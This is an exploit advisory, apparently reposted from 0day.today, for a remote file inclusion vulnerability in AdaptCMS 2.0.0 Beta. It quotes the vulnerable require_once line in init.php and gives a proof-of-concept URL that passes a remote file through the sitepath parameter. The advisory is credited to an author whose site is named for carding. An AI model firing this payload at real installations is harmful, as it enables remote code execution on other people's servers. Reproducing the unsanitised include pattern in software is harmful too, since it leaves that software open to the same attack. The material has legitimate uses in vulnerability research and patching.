AdaptCMS 2.0.0 Beta (init.php) Remote File Inclusion Vulnerability

==================================================================
AdaptCMS 2.0.0 Beta (init.php) Remote File Inclusion Vulnerability
==================================================================


Author      : v3n0m
Site        : http://yogyacarderlink.web.id/
Date        : June, 24-2010
Location    : Jakarta, Indonesia
Time Zone   : GMT +7:00
----------------------------------------------------------------
 
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Application : AdaptCMS
Vendor      : http://www.adaptcms.com/
License     : Free
Download    : http://sourceforge.net/projects/adaptcms/files/
----------------------------------------------------------------
 
- register_globals = on
- allow_url_include = on
 
Vuln Code:
~~~~~~~
 
[-] /init.php
 
    require_once($sitepath.'inc/smarty/libs/Smarty.class.php');  // line 10
 
Poc:
~~~~~~~
 
http://127.0.0.1/[path]/inc/smarty/libs/init.php?sitepath=http://localhost/jovita.txt??
 
----------------------------------------------------------------
 
WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com
 
---------------------------[EOF]--------------------------------



#  0day.today [2018-02-07]  #